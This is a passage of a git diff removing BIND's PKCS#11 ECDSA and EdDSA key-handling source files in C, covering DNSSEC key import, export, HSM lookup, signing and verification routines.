-		 DST_R_CRYPTOFAILURE);
-	attr->pValue = isc_mem_get(key->mctx, attr->ulValueLen);
-	memset(attr->pValue, 0, attr->ulValueLen);
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, priv, attr, 1),
-		 DST_R_CRYPTOFAILURE);
-
-	(void)pkcs_C_DestroyObject(pk11_ctx->session, priv);
-	(void)pkcs_C_DestroyObject(pk11_ctx->session, pub);
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-
-	switch (key->key_alg) {
-	case DST_ALG_ECDSA256:
-		key->key_size = DNS_KEY_ECDSA256SIZE * 4;
-		break;
-	case DST_ALG_ECDSA384:
-		key->key_size = DNS_KEY_ECDSA384SIZE * 4;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	return (ISC_R_SUCCESS);
-
-err:
-	pkcs11ecdsa_destroy(key);
-	if (priv != CK_INVALID_HANDLE) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, priv);
-	}
-	if (pub != CK_INVALID_HANDLE) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, pub);
-	}
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-
-	return (ret);
-}
-
-static bool
-pkcs11ecdsa_isprivate(const dst_key_t *key) {
-	pk11_object_t *ec = key->keydata.pkey;
-	CK_ATTRIBUTE *attr;
-
-	if (ec == NULL) {
-		return (false);
-	}
-	attr = pk11_attribute_bytype(ec, CKA_VALUE);
-	return (attr != NULL || ec->ontoken);
-}
-
-static void
-pkcs11ecdsa_destroy(dst_key_t *key) {
-	pk11_object_t *ec = key->keydata.pkey;
-	CK_ATTRIBUTE *attr;
-
-	if (ec == NULL) {
-		return;
-	}
-
-	INSIST((ec->object == CK_INVALID_HANDLE) || ec->ontoken);
-
-	for (attr = pk11_attribute_first(ec); attr != NULL;
-	     attr = pk11_attribute_next(ec, attr))
-		switch (attr->type) {
-		case CKA_LABEL:
-		case CKA_ID:
-		case CKA_EC_PARAMS:
-		case CKA_EC_POINT:
-		case CKA_VALUE:
-			FREECURVE();
-			break;
-		}
-	if (ec->repr != NULL) {
-		memset(ec->repr, 0, ec->attrcnt * sizeof(*attr));
-		isc_mem_put(key->mctx, ec->repr, ec->attrcnt * sizeof(*attr));
-	}
-	memset(ec, 0, sizeof(*ec));
-	isc_mem_put(key->mctx, ec, sizeof(*ec));
-	key->keydata.pkey = NULL;
-}
-
-static isc_result_t
-pkcs11ecdsa_todns(const dst_key_t *key, isc_buffer_t *data) {
-	pk11_object_t *ec;
-	isc_region_t r;
-	unsigned int len;
-	CK_ATTRIBUTE *attr;
-
-	REQUIRE(key->keydata.pkey != NULL);
-
-	switch (key->key_alg) {
-	case DST_ALG_ECDSA256:
-		len = DNS_KEY_ECDSA256SIZE;
-		break;
-	case DST_ALG_ECDSA384:
-		len = DNS_KEY_ECDSA384SIZE;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	ec = key->keydata.pkey;
-	attr = pk11_attribute_bytype(ec, CKA_EC_POINT);
-	if ((attr == NULL) || (attr->ulValueLen != len + 3) ||
-	    (((CK_BYTE_PTR)attr->pValue)[0] != TAG_OCTECT_STRING) ||
-	    (((CK_BYTE_PTR)attr->pValue)[1] != len + 1) ||
-	    (((CK_BYTE_PTR)attr->pValue)[2] != UNCOMPRESSED))
-	{
-		return (ISC_R_FAILURE);
-	}
-
-	isc_buffer_availableregion(data, &r);
-	if (r.length < len) {
-		return (ISC_R_NOSPACE);
-	}
-	memmove(r.base, (CK_BYTE_PTR)attr->pValue + 3, len);
-	isc_buffer_add(data, len);
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-pkcs11ecdsa_fromdns(dst_key_t *key, isc_buffer_t *data) {
-	pk11_object_t *ec;
-	isc_region_t r;
-	unsigned int len;
-	CK_ATTRIBUTE *attr;
-
-	REQUIRE(key->key_alg == DST_ALG_ECDSA256 ||
-		key->key_alg == DST_ALG_ECDSA384);
-
-	switch (key->key_alg) {
-	case DST_ALG_ECDSA256:
-		len = DNS_KEY_ECDSA256SIZE;
-		break;
-	case DST_ALG_ECDSA384:
-		len = DNS_KEY_ECDSA384SIZE;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	isc_buffer_remainingregion(data, &r);
-	if (r.length == 0) {
-		return (ISC_R_SUCCESS);
-	}
-	if (r.length != len) {
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-
-	ec = isc_mem_get(key->mctx, sizeof(*ec));
-	memset(ec, 0, sizeof(*ec));
-	ec->repr = isc_mem_get(key->mctx, sizeof(*attr) * 2);
-	ec->attrcnt = 2;
-
-	attr = ec->repr;
-	attr->type = CKA_EC_PARAMS;
-	SETCURVE();
-
-	attr++;
-	attr->type = CKA_EC_POINT;
-	attr->pValue = isc_mem_get(key->mctx, len + 3);
-	((CK_BYTE_PTR)attr->pValue)[0] = TAG_OCTECT_STRING;
-	((CK_BYTE_PTR)attr->pValue)[1] = len + 1;
-	((CK_BYTE_PTR)attr->pValue)[2] = UNCOMPRESSED;
-	memmove((CK_BYTE_PTR)attr->pValue + 3, r.base, len);
-	attr->ulValueLen = len + 3;
-
-	isc_buffer_forward(data, len);
-	key->keydata.pkey = ec;
-	key->key_size = len * 4;
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-pkcs11ecdsa_tofile(const dst_key_t *key, const char *directory) {
-	isc_result_t ret;
-	pk11_object_t *ec;
-	dst_private_t priv;
-	unsigned char *buf = NULL;
-	unsigned int i = 0;
-	CK_ATTRIBUTE *attr;
-
-	if (key->keydata.pkey == NULL) {
-		return (DST_R_NULLKEY);
-	}
-
-	if (key->external) {
-		priv.nelements = 0;
-		return (dst__privstruct_writefile(key, &priv, directory));
-	}
-
-	ec = key->keydata.pkey;
-	attr = pk11_attribute_bytype(ec, CKA_VALUE);
-	if (attr != NULL) {
-		buf = isc_mem_get(key->mctx, attr->ulValueLen);
-		priv.elements[i].tag = TAG_ECDSA_PRIVATEKEY;
-		priv.elements[i].length = (unsigned short)attr->ulValueLen;
-		memmove(buf, attr->pValue, attr->ulValueLen);
-		priv.elements[i].data = buf;
-		i++;
-	}
-
-	if (key->engine != NULL) {
-		priv.elements[i].tag = TAG_ECDSA_ENGINE;
-		priv.elements[i].length = strlen(key->engine) + 1;
-		priv.elements[i].data = (unsigned char *)key->engine;
-		i++;
-	}
-
-	if (key->label != NULL) {
-		priv.elements[i].tag = TAG_ECDSA_LABEL;
-		priv.elements[i].length = strlen(key->label) + 1;
-		priv.elements[i].data = (unsigned char *)key->label;
-		i++;
-	}
-
-	priv.nelements = i;
-	ret = dst__privstruct_writefile(key, &priv, directory);
-
-	if (buf != NULL) {
-		memset(buf, 0, attr->ulValueLen);
-		isc_mem_put(key->mctx, buf, attr->ulValueLen);
-	}
-	return (ret);
-}
-
-static isc_result_t
-pkcs11ecdsa_fetch(dst_key_t *key, const char *engine, const char *label,
-		  dst_key_t *pub) {
-	CK_RV rv;
-	CK_OBJECT_CLASS keyClass = CKO_PRIVATE_KEY;
-	CK_KEY_TYPE keyType = CKK_EC;
-	CK_ATTRIBUTE searchTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_LABEL, NULL, 0 }
-	};
-	CK_ULONG cnt;
-	CK_ATTRIBUTE *attr;
-	CK_ATTRIBUTE *pubattr;
-	pk11_object_t *ec;
-	pk11_object_t *pubec;
-	pk11_context_t *pk11_ctx = NULL;
-	isc_result_t ret;
-
-	if (label == NULL) {
-		return (DST_R_NOENGINE);
-	}
-
-	ec = key->keydata.pkey;
-	pubec = pub->keydata.pkey;
-
-	ec->object = CK_INVALID_HANDLE;
-	ec->ontoken = true;
-	ec->reqlogon = true;
-	ec->repr = isc_mem_get(key->mctx, sizeof(*attr) * 2);
-	memset(ec->repr, 0, sizeof(*attr) * 2);
-	ec->attrcnt = 2;
-	attr = ec->repr;
-
-	attr->type = CKA_EC_PARAMS;
-	pubattr = pk11_attribute_bytype(pubec, CKA_EC_PARAMS);
-	INSIST(pubattr != NULL);
-	attr->pValue = isc_mem_get(key->mctx, pubattr->ulValueLen);
-	memmove(attr->pValue, pubattr->pValue, pubattr->ulValueLen);
-	attr->ulValueLen = pubattr->ulValueLen;
-	attr++;
-
-	attr->type = CKA_EC_POINT;
-	pubattr = pk11_attribute_bytype(pubec, CKA_EC_POINT);
-	INSIST(pubattr != NULL);
-	attr->pValue = isc_mem_get(key->mctx, pubattr->ulValueLen);
-	memmove(attr->pValue, pubattr->pValue, pubattr->ulValueLen);
-	attr->ulValueLen = pubattr->ulValueLen;
-
-	ret = pk11_parse_uri(ec, label, key->mctx, OP_ECDSA);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	pk11_ctx = isc_mem_get(key->mctx, sizeof(*pk11_ctx));
-	ret = pk11_get_session(pk11_ctx, OP_ECDSA, true, false, ec->reqlogon,
-			       NULL, ec->slot);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	attr = pk11_attribute_bytype(ec, CKA_LABEL);
-	if (attr == NULL) {
-		attr = pk11_attribute_bytype(ec, CKA_ID);
-		INSIST(attr != NULL);
-		searchTemplate[3].type = CKA_ID;
-	}
-	searchTemplate[3].pValue = attr->pValue;
-	searchTemplate[3].ulValueLen = attr->ulValueLen;
-
-	PK11_RET(pkcs_C_FindObjectsInit,
-		 (pk11_ctx->session, searchTemplate, (CK_ULONG)4),
-		 DST_R_CRYPTOFAILURE);
-	PK11_RET(pkcs_C_FindObjects,
-		 (pk11_ctx->session, &ec->object, (CK_ULONG)1, &cnt),
-		 DST_R_CRYPTOFAILURE);
-	(void)pkcs_C_FindObjectsFinal(pk11_ctx->session);
-	if (cnt == 0) {
-		DST_RET(ISC_R_NOTFOUND);
-	}
-	if (cnt > 1) {
-		DST_RET(ISC_R_EXISTS);
-	}
-
-	if (engine != NULL) {
-		key->engine = isc_mem_strdup(key->mctx, engine);
-	}
-
-	key->label = isc_mem_strdup(key->mctx, label);
-
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	return (ISC_R_SUCCESS);
-
-err:
-	if (pk11_ctx != NULL) {
-		pk11_return_session(pk11_ctx);
-		memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-		isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	}
-	return (ret);
-}
-
-static isc_result_t
-pkcs11ecdsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
-	dst_private_t priv;
-	isc_result_t ret;
-	pk11_object_t *ec = NULL;
-	CK_ATTRIBUTE *attr, *pattr;
-	isc_mem_t *mctx = key->mctx;
-	unsigned int i;
-	const char *engine = NULL, *label = NULL;
-
-	REQUIRE(key->key_alg == DST_ALG_ECDSA256 ||
-		key->key_alg == DST_ALG_ECDSA384);
-
-	if ((pub == NULL) || (pub->keydata.pkey == NULL)) {
-		DST_RET(DST_R_INVALIDPRIVATEKEY);
-	}
-
-	/* read private key file */
-	ret = dst__privstruct_parse(key, DST_ALG_ECDSA256, lexer, mctx, &priv);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
-	}
-
-	if (key->external) {
-		if (priv.nelements != 0) {
-			DST_RET(DST_R_INVALIDPRIVATEKEY);
-		}
-
-		key->keydata.pkey = pub->keydata.pkey;
-		pub->keydata.pkey = NULL;
-		key->key_size = pub->key_size;
-
-		dst__privstruct_free(&priv, mctx);
-		memset(&priv, 0, sizeof(priv));
-
-		return (ISC_R_SUCCESS);
-	}
-
-	for (i = 0; i < priv.nelements; i++) {
-		switch (priv.elements[i].tag) {
-		case TAG_ECDSA_ENGINE:
-			engine = (char *)priv.elements[i].data;
-			break;
-		case TAG_ECDSA_LABEL:
-			label = (char *)priv.elements[i].data;
-			break;
-		default:
-			break;
-		}
-	}
-	ec = isc_mem_get(key->mctx, sizeof(*ec));
-	memset(ec, 0, sizeof(*ec));
-	key->keydata.pkey = ec;
-
-	/* Is this key is stored in a HSM? See if we can fetch it. */
-	if ((label != NULL) || (engine != NULL)) {
-		ret = pkcs11ecdsa_fetch(key, engine, label, pub);
-		if (ret != ISC_R_SUCCESS) {
-			goto err;
-		}
-		dst__privstruct_free(&priv, mctx);
-		memset(&priv, 0, sizeof(priv));
-		return (ret);
-	}
-
-	ec->repr = isc_mem_get(key->mctx, sizeof(*attr) * 3);
-	memset(ec->repr, 0, sizeof(*attr) * 3);
-	ec->attrcnt = 3;
-
-	attr = ec->repr;
-	attr->type = CKA_EC_PARAMS;
-	pattr = pk11_attribute_bytype(pub->keydata.pkey, CKA_EC_PARAMS);
-	INSIST(pattr != NULL);
-	attr->pValue = isc_mem_get(key->mctx, pattr->ulValueLen);
-	memmove(attr->pValue, pattr->pValue, pattr->ulValueLen);
-	attr->ulValueLen = pattr->ulValueLen;
-
-	attr++;
-	attr->type = CKA_EC_POINT;
-	pattr = pk11_attribute_bytype(pub->keydata.pkey, CKA_EC_POINT);
-	INSIST(pattr != NULL);
-	attr->pValue = isc_mem_get(key->mctx, pattr->ulValueLen);
-	memmove(attr->pValue, pattr->pValue, pattr->ulValueLen);
-	attr->ulValueLen = pattr->ulValueLen;
-
-	attr++;
-	attr->type = CKA_VALUE;
-	attr->pValue = isc_mem_get(key->mctx, priv.elements[0].length);
-	memmove(attr->pValue, priv.elements[0].data, priv.elements[0].length);
-	attr->ulValueLen = priv.elements[0].length;
-
-	dst__privstruct_free(&priv, mctx);
-	memset(&priv, 0, sizeof(priv));
-	switch (key->key_alg) {
-	case DST_ALG_ECDSA256:
-		key->key_size = DNS_KEY_ECDSA256SIZE * 4;
-		break;
-	case DST_ALG_ECDSA384:
-		key->key_size = DNS_KEY_ECDSA384SIZE * 4;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	return (ISC_R_SUCCESS);
-
-err:
-	pkcs11ecdsa_destroy(key);
-	dst__privstruct_free(&priv, mctx);
-	memset(&priv, 0, sizeof(priv));
-	return (ret);
-}
-
-static isc_result_t
-pkcs11ecdsa_fromlabel(dst_key_t *key, const char *engine, const char *label,
-		      const char *pin) {
-	CK_RV rv;
-	CK_OBJECT_HANDLE hKey = CK_INVALID_HANDLE;
-	CK_OBJECT_CLASS keyClass = CKO_PUBLIC_KEY;
-	CK_KEY_TYPE keyType = CKK_EC;
-	CK_ATTRIBUTE searchTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_LABEL, NULL, 0 }
-	};
-	CK_ULONG cnt;
-	CK_ATTRIBUTE *attr;
-	pk11_object_t *ec;
-	pk11_context_t *pk11_ctx = NULL;
-	isc_result_t ret;
-	unsigned int i;
-
-	UNUSED(pin);
-
-	ec = isc_mem_get(key->mctx, sizeof(*ec));
-	memset(ec, 0, sizeof(*ec));
-	ec->object = CK_INVALID_HANDLE;
-	ec->ontoken = true;
-	ec->reqlogon = true;
-	key->keydata.pkey = ec;
-
-	ec->repr = isc_mem_get(key->mctx, sizeof(*attr) * 2);
-	memset(ec->repr, 0, sizeof(*attr) * 2);
-	ec->attrcnt = 2;
-	attr = ec->repr;
-	attr[0].type = CKA_EC_PARAMS;
-	attr[1].type = CKA_EC_POINT;
-
-	ret = pk11_parse_uri(ec, label, key->mctx, OP_ECDSA);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	pk11_ctx = isc_mem_get(key->mctx, sizeof(*pk11_ctx));
-	ret = pk11_get_session(pk11_ctx, OP_ECDSA, true, false, ec->reqlogon,
-			       NULL, ec->slot);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	attr = pk11_attribute_bytype(ec, CKA_LABEL);
-	if (attr == NULL) {
-		attr = pk11_attribute_bytype(ec, CKA_ID);
-		INSIST(attr != NULL);
-		searchTemplate[3].type = CKA_ID;
-	}
-	searchTemplate[3].pValue = attr->pValue;
-	searchTemplate[3].ulValueLen = attr->ulValueLen;
-
-	PK11_RET(pkcs_C_FindObjectsInit,
-		 (pk11_ctx->session, searchTemplate, (CK_ULONG)4),
-		 DST_R_CRYPTOFAILURE);
-	PK11_RET(pkcs_C_FindObjects,
-		 (pk11_ctx->session, &hKey, (CK_ULONG)1, &cnt),
-		 DST_R_CRYPTOFAILURE);
-	(void)pkcs_C_FindObjectsFinal(pk11_ctx->session);
-	if (cnt == 0) {
-		DST_RET(ISC_R_NOTFOUND);
-	}
-	if (cnt > 1) {
-		DST_RET(ISC_R_EXISTS);
-	}
-
-	attr = ec->repr;
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, hKey, attr, 2),
-		 DST_R_CRYPTOFAILURE);
-	for (i = 0; i <= 1; i++) {
-		attr[i].pValue = isc_mem_get(key->mctx, attr[i].ulValueLen);
-		memset(attr[i].pValue, 0, attr[i].ulValueLen);
-	}
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, hKey, attr, 2),
-		 DST_R_CRYPTOFAILURE);
-
-	keyClass = CKO_PRIVATE_KEY;
-	PK11_RET(pkcs_C_FindObjectsInit,
-		 (pk11_ctx->session, searchTemplate, (CK_ULONG)4),
-		 DST_R_CRYPTOFAILURE);
-	PK11_RET(pkcs_C_FindObjects,
-		 (pk11_ctx->session, &ec->object, (CK_ULONG)1, &cnt),
-		 DST_R_CRYPTOFAILURE);
-	(void)pkcs_C_FindObjectsFinal(pk11_ctx->session);
-	if (cnt == 0) {
-		DST_RET(ISC_R_NOTFOUND);
-	}
-	if (cnt > 1) {
-		DST_RET(ISC_R_EXISTS);
-	}
-
-	if (engine != NULL) {
-		key->engine = isc_mem_strdup(key->mctx, engine);
-	}
-
-	key->label = isc_mem_strdup(key->mctx, label);
-	switch (key->key_alg) {
-	case DST_ALG_ECDSA256:
-		key->key_size = DNS_KEY_ECDSA256SIZE * 4;
-		break;
-	case DST_ALG_ECDSA384:
-		key->key_size = DNS_KEY_ECDSA384SIZE * 4;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	return (ISC_R_SUCCESS);
-
-err:
-	pkcs11ecdsa_destroy(key);
-	if (pk11_ctx != NULL) {
-		pk11_return_session(pk11_ctx);
-		memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-		isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	}
-	return (ret);
-}
-
-static dst_func_t pkcs11ecdsa_functions = {
-	pkcs11ecdsa_createctx,
-	NULL, /*%< createctx2 */
-	pkcs11ecdsa_destroyctx,
-	pkcs11ecdsa_adddata,
-	pkcs11ecdsa_sign,
-	pkcs11ecdsa_verify,
-	NULL, /*%< verify2 */
-	NULL, /*%< computesecret */
-	pkcs11ecdsa_compare,
-	NULL, /*%< paramcompare */
-	pkcs11ecdsa_generate,
-	pkcs11ecdsa_isprivate,
-	pkcs11ecdsa_destroy,
-	pkcs11ecdsa_todns,
-	pkcs11ecdsa_fromdns,
-	pkcs11ecdsa_tofile,
-	pkcs11ecdsa_parse,
-	NULL, /*%< cleanup */
-	pkcs11ecdsa_fromlabel,
-	NULL, /*%< dump */
-	NULL, /*%< restore */
-};
-
-isc_result_t
-dst__pkcs11ecdsa_init(dst_func_t **funcp) {
-	REQUIRE(funcp != NULL);
-	if (*funcp == NULL) {
-		*funcp = &pkcs11ecdsa_functions;
-	}
-	return (ISC_R_SUCCESS);
-}
diff --git a/lib/dns/pkcs11eddsa_link.c b/lib/dns/pkcs11eddsa_link.c
deleted file mode 100644
index 471648f768..0000000000
--- a/lib/dns/pkcs11eddsa_link.c
+++ /dev/null
@@ -1,1119 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <stdbool.h>
-
-#include <isc/mem.h>
-#include <isc/safe.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <pk11/constants.h>
-#include <pk11/internal.h>
-#include <pk11/pk11.h>
-#include <pkcs11/pkcs11.h>
-
-#include <dns/keyvalues.h>
-
-#include <dst/result.h>
-
-#include "dst_internal.h"
-#include "dst_parse.h"
-#include "dst_pkcs11.h"
-
-/*
- * FIPS 186-3 EDDSA keys:
- *  mechanisms:
- *    CKM_EDDSA,
- *    CKM_EC_EDWARDS_KEY_PAIR_GEN
- *  domain parameters:
- *    CKA_EC_PARAMS (choice with OID namedCurve)
- *  public keys:
- *    object class CKO_PUBLIC_KEY
- *    key type CKK_EC_EDWARDS
- *    attribute CKA_EC_PARAMS (choice with OID namedCurve)
- *    attribute CKA_EC_POINT (big int A)
- *  private keys:
- *    object class CKO_PRIVATE_KEY
- *    key type CKK_EC_EDWARDS
- *    attribute CKA_EC_PARAMS (choice with OID namedCurve)
- *    attribute CKA_VALUE (big int k)
- *  point format: 0x04 (octet-string) <size> <A>
- */
-
-#define TAG_OCTECT_STRING 0x04
-
-#define DST_RET(a)        \
-	{                 \
-		ret = a;  \
-		goto err; \
-	}
-
-static CK_BBOOL truevalue = TRUE;
-static CK_BBOOL falsevalue = FALSE;
-
-static void
-pkcs11eddsa_destroy(dst_key_t *key);
-
-static isc_result_t
-pkcs11eddsa_createctx(dst_key_t *key, dst_context_t *dctx) {
-	isc_buffer_t *buf = NULL;
-
-	UNUSED(key);
-	REQUIRE(dctx->key->key_alg == DST_ALG_ED25519 ||
-		dctx->key->key_alg == DST_ALG_ED448);
-
-	isc_buffer_allocate(dctx->mctx, &buf, 16);
-	isc_buffer_setautorealloc(buf, true);
-	dctx->ctxdata.generic = buf;
-
-	return (ISC_R_SUCCESS);
-}
-
-static void
-pkcs11eddsa_destroyctx(dst_context_t *dctx) {
-	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
-
-	REQUIRE(dctx->key->key_alg == DST_ALG_ED25519 ||
-		dctx->key->key_alg == DST_ALG_ED448);
-	if (buf != NULL) {
-		isc_buffer_free(&buf);
-	}
-	dctx->ctxdata.generic = NULL;
-}
-
-static isc_result_t
-pkcs11eddsa_adddata(dst_context_t *dctx, const isc_region_t *data) {
-	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
-	isc_result_t result;
-
-	REQUIRE(dctx->key->key_alg == DST_ALG_ED25519 ||
-		dctx->key->key_alg == DST_ALG_ED448);
-
-	result = isc_buffer_copyregion(buf, data);
-	INSIST(result == ISC_R_SUCCESS);
-
-	return (result);
-}
-
-static isc_result_t
-pkcs11eddsa_sign(dst_context_t *dctx, isc_buffer_t *sig) {
-	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
-	CK_RV rv;
-	CK_MECHANISM mech = { CKM_EDDSA, NULL, 0 };
-	CK_OBJECT_HANDLE hKey = CK_INVALID_HANDLE;
-	CK_OBJECT_CLASS keyClass = CKO_PRIVATE_KEY;
-	CK_KEY_TYPE keyType = CKK_EC_EDWARDS;
-	CK_ATTRIBUTE keyTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_SIGN, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_EC_PARAMS, NULL, 0 },
-		{ CKA_VALUE, NULL, 0 }
-	};
-	CK_ATTRIBUTE *attr;
-	CK_ULONG siglen;
-	CK_SLOT_ID slotid;
-	pk11_context_t *pk11_ctx;
-	dst_key_t *key = dctx->key;
-	pk11_object_t *ec = key->keydata.pkey;
-	isc_region_t t;
-	isc_region_t r;
-	isc_result_t ret = ISC_R_SUCCESS;
-	unsigned int i;
-
-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
-	REQUIRE(ec != NULL);
-
-	switch (key->key_alg) {
-	case DST_ALG_ED25519:
-		siglen = DNS_SIG_ED25519SIZE;
-		break;
-	case DST_ALG_ED448:
-		siglen = DNS_SIG_ED448SIZE;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	pk11_ctx = isc_mem_get(dctx->mctx, sizeof(*pk11_ctx));
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	if (ec->ontoken && (dctx->use == DO_SIGN)) {
-		slotid = ec->slot;
-	} else {
-		slotid = pk11_get_best_token(OP_EDDSA);
-	}
-	ret = pk11_get_session(pk11_ctx, OP_EDDSA, true, false, ec->reqlogon,
-			       NULL, slotid);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	isc_buffer_availableregion(sig, &r);
-	if (r.length < siglen) {
-		DST_RET(ISC_R_NOSPACE);
-	}
-
-	if (ec->ontoken && (ec->object != CK_INVALID_HANDLE)) {
-		pk11_ctx->ontoken = ec->ontoken;
-		pk11_ctx->object = ec->object;
-		goto token_key;
-	}
-
-	for (attr = pk11_attribute_first(ec); attr != NULL;
-	     attr = pk11_attribute_next(ec, attr))
-		switch (attr->type) {
-		case CKA_EC_PARAMS:
-			INSIST(keyTemplate[5].type == attr->type);
-			keyTemplate[5].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[5].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[5].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_VALUE:
-			INSIST(keyTemplate[6].type == attr->type);
-			keyTemplate[6].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[6].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[6].ulValueLen = attr->ulValueLen;
-			break;
-		}
-	pk11_ctx->object = CK_INVALID_HANDLE;
-	pk11_ctx->ontoken = false;
-	PK11_RET(pkcs_C_CreateObject,
-		 (pk11_ctx->session, keyTemplate, (CK_ULONG)7, &hKey),
-		 ISC_R_FAILURE);
-
-token_key:
-
-	PK11_RET(pkcs_C_SignInit,
-		 (pk11_ctx->session, &mech,
-		  pk11_ctx->ontoken ? pk11_ctx->object : hKey),
-		 ISC_R_FAILURE);
-
-	isc_buffer_usedregion(buf, &t);
-
-	PK11_RET(pkcs_C_Sign,
-		 (pk11_ctx->session, (CK_BYTE_PTR)t.base, (CK_ULONG)t.length,
-		  (CK_BYTE_PTR)r.base, &siglen),
-		 DST_R_SIGNFAILURE);
-
-	isc_buffer_add(sig, (unsigned int)siglen);
-
-err:
-
-	if (hKey != CK_INVALID_HANDLE) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, hKey);
-	}
-	for (i = 5; i <= 6; i++) {
-		if (keyTemplate[i].pValue != NULL) {
-			{
-				memset(keyTemplate[i].pValue, 0,
-				       keyTemplate[i].ulValueLen);
-				isc_mem_put(dctx->mctx, keyTemplate[i].pValue,
-					    keyTemplate[i].ulValueLen);
-			}
-		}
-	}
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	isc_buffer_free(&buf);
-	dctx->ctxdata.generic = NULL;
-
-	return (ret);
-}
-
-static isc_result_t
-pkcs11eddsa_verify(dst_context_t *dctx, const isc_region_t *sig) {
-	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
-	CK_RV rv;
-	CK_MECHANISM mech = { CKM_EDDSA, NULL, 0 };
-	CK_OBJECT_HANDLE hKey = CK_INVALID_HANDLE;
-	CK_OBJECT_CLASS keyClass = CKO_PUBLIC_KEY;
-	CK_KEY_TYPE keyType = CKK_EC_EDWARDS;
-	CK_ATTRIBUTE keyTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_VERIFY, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_EC_PARAMS, NULL, 0 },
-		{ CKA_EC_POINT, NULL, 0 }
-	};
-	CK_ATTRIBUTE *attr;
-	CK_SLOT_ID slotid;
-	pk11_context_t *pk11_ctx;
-	dst_key_t *key = dctx->key;
-	pk11_object_t *ec = key->keydata.pkey;
-	isc_region_t t;
-	isc_result_t ret = ISC_R_SUCCESS;
-	unsigned int i;
-
